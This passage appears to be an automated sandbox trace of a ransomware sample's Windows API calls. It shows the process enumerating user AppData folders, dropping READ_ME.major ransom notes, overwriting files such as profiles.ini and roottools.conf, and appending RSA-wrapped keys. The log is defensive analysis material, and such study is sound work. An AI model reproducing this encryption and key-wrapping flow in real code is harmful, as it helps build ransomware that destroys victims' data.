dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0192.357] FindNextFileW (in: hFindFile=0x2f86ba8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24747ab7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24747ab7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24747ab7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0192.357] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Extensions\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8b64ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x24747ab7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86de8 [0192.357] FindNextFileW (in: hFindFile=0x2f86de8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8b64ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd8b64ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x24747ab7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0192.357] FindNextFileW (in: hFindFile=0x2f86de8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24747ab7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24747ab7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24747ab7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0192.357] FindNextFileW (in: hFindFile=0x2f86de8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24747ab7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24747ab7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24747ab7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0192.358] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x24793f9c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86928 [0192.358] FindNextFileW (in: hFindFile=0x2f86928, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x24793f9c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0192.358] FindNextFileW (in: hFindFile=0x2f86928, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Crash Reports", cAlternateFileName="CRASHR~1")) returned 1 [0192.358] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\crash reports\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9d8 [0192.379] WriteFile (in: hFile=0x9d8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0192.380] CloseHandle (hObject=0x9d8) returned 1 [0192.380] FindNextFileW (in: hFindFile=0x2f86928, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfafe15e1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfafe15e1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Pending Pings", cAlternateFileName="PENDIN~1")) returned 1 [0192.380] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Pending Pings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\pending pings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9d8 [0192.381] WriteFile (in: hFile=0x9d8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0192.383] CloseHandle (hObject=0x9d8) returned 1 [0192.383] FindNextFileW (in: hFindFile=0x2f86928, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Profiles", cAlternateFileName="")) returned 1 [0192.383] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9d8 [0192.384] WriteFile (in: hFile=0x9d8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0192.385] CloseHandle (hObject=0x9d8) returned 1 [0192.385] FindNextFileW (in: hFindFile=0x2f86928, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x7a, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="profiles.ini", cAlternateFileName="")) returned 1 [0192.385] FindNextFileW (in: hFindFile=0x2f86928, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24747ab7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24747ab7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24793f9c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0192.385] FindNextFileW (in: hFindFile=0x2f86928, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24747ab7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24747ab7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24793f9c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0192.385] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0192.385] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini", dwFileAttributes=0x80) returned 1 [0192.386] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9d8 [0192.386] GetFileSizeEx (in: hFile=0x9d8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=122) returned 1 [0192.386] ReadFile (in: hFile=0x9d8, lpBuffer=0x5b7278, nNumberOfBytesToRead=0x7a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b7278*, lpNumberOfBytesRead=0x2e3f9b4*=0x7a, lpOverlapped=0x0) returned 1 [0192.387] SetFilePointer (in: hFile=0x9d8, lDistanceToMove=-122, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.387] WriteFile (in: hFile=0x9d8, lpBuffer=0x5b6ca0*, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b6ca0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x7a, lpOverlapped=0x0) returned 1 [0192.387] SetFilePointer (in: hFile=0x9d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x7a [0192.387] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.387] WriteFile (in: hFile=0x9d8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.387] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0192.387] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0192.388] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0192.388] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="0DT8fNxxf7lZbm1XunLT1md6FJ0drPBbtYhzx6oMYMiycKcM4B9xlGUJGjb4bps1\n8FX77y1g3sR1H2sW3fkf6rhLp/e0wUxuSEpSImiSVvd6v/0yKNyV+OR+ub3qA2dH\nLCdolAaZ+g1z7CrBCtbjqcK6ZYlPyhQcHGIv1vr/sWoHQM/dadPmBk7FzlWbDqDh\nUqeffv08kjfWY6QlsPbNLlul0Ehjwqo5+2rwVpCRvB0nu9pmeKpuwIshUemfGcy7\nUl2SjJ0liDr23bSzC0zll0uUwj0uiO2w+d5xMMu4z8lztyVoLV+lM/mOMplR4xhI\nAjjyCb0ehpAvq50dY+yQOw==\n", pcchString=0x2e3f9a8) returned 1 [0192.388] WriteFile (in: hFile=0x9d8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0192.388] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.388] WriteFile (in: hFile=0x9d8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.388] CloseHandle (hObject=0x9d8) returned 1 [0192.390] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x24793f9c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86be8 [0192.390] FindNextFileW (in: hFindFile=0x2f86be8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x24793f9c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0192.390] FindNextFileW (in: hFindFile=0x2f86be8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24793f9c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24793f9c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24793f9c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0192.390] FindNextFileW (in: hFindFile=0x2f86be8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roottools.conf", cAlternateFileName="ROOTTO~1.CON")) returned 1 [0192.390] FindNextFileW (in: hFindFile=0x2f86be8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roottools.conf", cAlternateFileName="ROOTTO~1.CON")) returned 0 [0192.390] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0192.390] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf", dwFileAttributes=0x80) returned 1 [0192.391] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\skype\\roottools\\roottools.conf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9dc [0192.391] GetFileSizeEx (in: hFile=0x9dc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=76) returned 1 [0192.391] ReadFile (in: hFile=0x9dc, lpBuffer=0x5be7e8, nNumberOfBytesToRead=0x4c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5be7e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x4c, lpOverlapped=0x0) returned 1 [0192.392] SetFilePointer (in: hFile=0x9dc, lDistanceToMove=-76, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.392] WriteFile (in: hFile=0x9dc, lpBuffer=0x5be478*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5be478*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4c, lpOverlapped=0x0) returned 1 [0192.393] SetFilePointer (in: hFile=0x9dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4c [0192.393] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.393] WriteFile (in: hFile=0x9dc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.393] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0192.393] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0192.393] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0192.393] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="TvV6TmShEEI714dK+wPnc48Igw5jxvNeRIxpHx+xBIVUAYgVa+19DMGJL7kXCdb2\nYm+tWcAIPGhio9MVGFMadyzMjHvUk85QOJN/Jx3iWX19SCJ+p9nu5xqPlcnvWt5H\nHuVx5LgXuJkh8lrAj/TmkeoREazYOX/Tlf4JFMqmsWQAWtiMV/zJ3Oqpk//h4W7t\n2vaxfmdQKbeZOqSLSV1YcRPFb/SMx9sXIQCgo+7SvJX8meZ3tJspPm1skmkaCsyH\nrY9oCcxOBuCcQruA+3Z4ulaqfYyjle6ppvVvOA0Guysmr8KePdtTLNJHxbqukIWA\n/IevGHpQoRi0yNazVlybEg==\n", pcchString=0x2e3f9a8) returned 1 [0192.393] WriteFile (in: hFile=0x9dc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0192.393] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.393] WriteFile (in: hFile=0x9dc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.393] CloseHandle (hObject=0x9dc) returned 1 [0192.395] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\Java\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x24793f9c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86968 [0192.395] FindNextFileW (in: hFindFile=0x2f86968, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x24793f9c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0192.395] FindNextFileW (in: hFindFile=0x2f86968, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad2cc5cd, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad2cc5cd, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad2cc5cd, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0192.395] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Sun\\Java\\Deployment\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\sun\\java\\deployment\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9e0 [0192.396] WriteFile (in: hFile=0x9e0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0192.397] CloseHandle (hObject=0x9e0) returned 1 [0192.397] FindNextFileW (in: hFindFile=0x2f86968, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24793f9c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24793f9c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24793f9c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0192.397] FindNextFileW (in: hFindFile=0x2f86968, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24793f9c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24793f9c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24793f9c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0192.397] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\iBkXE7cA\\JlJRMwcQlhmiO8\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xda072000, ftCreationTime.dwHighDateTime=0x1d4c5cb, ftLastAccessTime.dwLowDateTime=0x8323bed0, ftLastAccessTime.dwHighDateTime=0x1d4ced9, ftLastWriteTime.dwLowDateTime=0x249f6638, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86e68 [0192.397] FindNextFileW (in: hFindFile=0x2f86e68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xda072000, ftCreationTime.dwHighDateTime=0x1d4c5cb, ftLastAccessTime.dwLowDateTime=0x8323bed0, ftLastAccessTime.dwHighDateTime=0x1d4ced9, ftLastWriteTime.dwLowDateTime=0x249f6638, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0192.397] FindNextFileW (in: hFindFile=0x2f86e68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dcf9cd0, ftCreationTime.dwHighDateTime=0x1d4cc60, ftLastAccessTime.dwLowDateTime=0xccfaf830, ftLastAccessTime.dwHighDateTime=0x1d4cbd1, ftLastWriteTime.dwLowDateTime=0xccfaf830, 